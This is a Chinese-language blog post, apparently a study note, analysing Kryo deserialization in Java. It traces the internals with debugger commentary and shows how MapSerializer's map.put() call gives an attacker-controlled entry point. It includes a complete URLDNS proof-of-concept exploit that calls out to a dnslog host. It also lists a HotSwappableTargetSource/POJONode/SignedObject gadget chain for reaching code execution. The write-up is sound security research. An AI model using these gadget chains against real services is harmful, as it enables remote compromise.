在网上看文章得时候 无意中看到这个Kryo反序列化 于是就写这篇文章来学习一下
参考文章1 参考文章2
简介
Kryo 是一个快速序列化/反序列化工具,其使用了字节码生成机制。Kryo 序列化出来的结果,是其自定义的、独有的一种格式,不再是 JSON 或者其他现有的通用格式;而且,其序列化出来的结果是二进制的(即 byte[];而 JSON 本质上是字符串 String),序列化、反序列化时的速度也更快 (一个优点)。
其相对于其他反序列化类的特点是可以使用它来序列化或反序列化任何Java类型,而不需要实现Serializable。(这就是这个类得特殊之处了)
分析
引入依赖
1 2 3 4 5
| <dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.2</version> </dependency>
|
先写个demo来进行分析
MyClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example;
public class MyClass { public String hello; private int num;
public String toString() { return "MyClass{" + "hello='" + hello + '\'' + ", num=" + num + '}'; }
public String getHello() { return hello; }
public void setHello(String hello) { this.hello = hello; }
public int getNum() { return num; }
public void setNum(int num) { this.num = num; } }
|
demo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output;
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.util.HashMap;
public class demo { public static void main(String[] args) throws FileNotFoundException { Kryo kryo = new Kryo(); kryo.register(MyClass.class); MyClass myClass = new MyClass(); myClass.setHello("nihao"); myClass.setNum(123); Output output = new Output(new FileOutputStream("file.bin")); kryo.writeClassAndObject(output, myClass); output.close(); Input input = new Input(new FileInputStream("file.bin")); MyClass myClass1 = (MyClass)kryo.readClassAndObject(input); input.close(); System.out.println(myClass1); } }
|
成功进行序列化和反序列化操作
这里进行选择的是writeClassAndObject
和readClassAndObject
这两个类来进行序列化和反序列化
序列化
下个断点进行分析
然后在这里的话会进行已经注册的类进行获取
然后到这里的话就会新型序列化类的获取 然后将其进行序列化操作
这里的话就会使用递归来将值一步一步的进行写入
反序列化
反序列化也是一样 也是会进行已经注册的类的获取
然后就是进行序列化类的获取 这里都是使用默认的 FieldSerializer
然后就是开始反序列化读取之前序列化的内容了
这里的写的比较简略
(其实在这个序列化器里的wirte和read方法里面还有更加细致的分析是怎么进行写入和读取的 因为比较懒 这里就不写了)
简略分析
- 经过上述的分析知道了是得先获取这个注册类这个东西 如果不进行注册的话就会进行报错
就是序列化和反序列化需要用到的类 如果不在默认注册表里就会报错
这里就是会爆出这个错误
- 还有一个就是使用这个kryo进行序列化和反序列化操作的话 因为经过上面简单的分析 我们发现每次进行序列化或者反序列化的时候 都是会先用到
FieldSerializer
这个类 当我们跟进这个类的时候 就会发现这个类调用的是一个无参方法
关于这个问题 翻阅文档发现 在这个地方如果执行下面这个代码的话 就不会进行构造函数的调用 就不会发生上面一样的问题
1
| kryo.setInstantiatorStrategy(new DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
|
漏洞点
这个Kryo
其实是和这个Hessian
差不多 问题都是出在这个put
方法这里
经过上面的分析呢 我们知道是怎么个反序列化的过程 在使用FieldSerializer
进行反序列化read
的时候呢 对于某些类的参数会采用不同的Serializer
来进行反序列化读取
(如果我们传入的参数是hashmap
类的话 那么在反序列化的时候就会使用mapSerializer
进行反序列化 其中就会调用到map.put()
这个函数 这就是我们的漏洞利用点了)
写个demo进行分析
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example; import java.util.HashMap;
public class User {
HashMap hashMap = new HashMap<>(); Test test = new Test(); public void setHashMap() { this.hashMap.put(test,"test"); }
public void getHashMap() { System.out.println(this.hashMap); } }
|
demo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output;
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.util.HashMap;
public class demo { public static void main(String[] args) throws FileNotFoundException { Kryo kryo = new Kryo(); kryo.register(User.class); kryo.register(HashMap.class); kryo.register(Test.class); User u = new User(); u.setHashMap(); Output output = new Output(new FileOutputStream("file.bin")); kryo.writeClassAndObject(output, u); output.close(); Input input = new Input(new FileInputStream("file.bin")); User o = (User)kryo.readClassAndObject(input); input.close(); o.getHashMap(); } }
|
先是进入到FieldSerializer#read
然后在进行filed的获取 然后根据filed
是什么类 然后获取该类的反序列化类来进行反序列化输出结果
然后接着就会进入到反射参数类ReflectField
的read
方法里面
然后再次进行kryo的readobject中
这里的就会调用到这个MapSerializer
来反序列化我们的hashmap
参数了
在MapSerializer
反序列化的过程中就会调用到这个map.put()
方法了 因为我们的key可控 那么我们就可以将其视为反序列化的入口了
利用链
URLDNS
先去查看这个的原来的利用链
发现他是使用这个HashMap.readobject()
来作为反序列化的入口 那么我们的这个Kryo刚好可以进行替代
(因为触发点都是这个map.put()
并且key可控)
put
的时候也能触发
Test.java —-> 利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package org.example; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output;
import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URI; import java.net.URL; import java.net.URLStreamHandler; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Test { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { Kryo kryo = new Kryo(); kryo.setRegistrationRequired(false); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 1); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); URL v2 = new URL("http://bug2o1.dnslog.cn"); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v2, 0, null)); setFieldValue(s, "table", tbl);
Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeClassAndObject(output,s); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readClassAndObject(input); } }
|
这个exp比较特别的地方就是在这里了 第一次看的时候一脸懵逼 debug看了好一会才看明白
(其实这里这个代码的目的就是为了给这个key赋值的 不是用这个put方法来进行赋值)
这里的就是可以进行给key赋值
还有一点就是这个赋值这个地方 这里给table赋值的原因就是如果不适用put
函数进行赋值的话 kryo在反序列化的时候就会中table
数组中来获取这个key
在这篇文章中也讲到了这个table 感兴趣的可以去看看’
那么这条链子就分析完了
HotSwappableTargetSource
关于这个类的话 熟悉这个rome链子的应该会知道 这链子在里面就有利用到
利用链
1
| HotSwappableTargetSource.equals->XString.equals->POJONode.toString->SignedObject.getObject->POJONode.toString->getOutputProperties
|
在这个之前 我们得先去了解一下这个equals
是怎么获取到的
先下个断点
一般来说是进不去这个判断来触发这个equals()
方法的 是会进去到上面的if判断里
进入到这个判断里的原因是因为这个key和value的值不相等 于是就会进入到这个判断里 因为我们是想要进入这个equals()
里 所以我们要使其key和value的值相等
然后就会进入到HotSwappableTargetSource
的equals()
里
这里这两个参数就是在刚开始的时候进行赋值
这就是为什么要初始化两个HotSwappableTargetSource
的原因
Xstring#equals()来触发这个pojoNode()
后面的话就是正常的PojoNode的toString来触发了 老生常谈了 就不多说了
可能在看的时候大家就有个疑问就是为什么要是使用两个PojoNode来 并且还是了signobject来进行二次反序列化 之所以这样做的原因是因为在最后触发这个getOutputProperties的时候 里面有个属性_tfactory是transient的 Kryo并不能对其进行反序列化
在文章开头的时候写到 在序列化或者反序列化的时候 都会第一个触发FiledSerializer
这个类 那么我们如果想要使用别的类怎么办?
这个这个Kryo的jar包力就有很多类可以使用
用法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class Main { public static void main(String[] args) throws Exception { Kryo kryo = new Kryo();
kryo.register(MyClass.class,new BeanSerializer(kryo, MyClass.class));
MyClass s = new MyClass(); s.setNum(10); s.setHello("hello");
Output output = new Output(Files.newOutputStream(Paths.get("file.bin"))); kryo.writeObject(output,s); output.close(); Input input = new Input(Files.newInputStream(Paths.get("file.bin"))); Object obj = kryo.readObject(input, MyClass.class); } }
|
在register这里就能指定了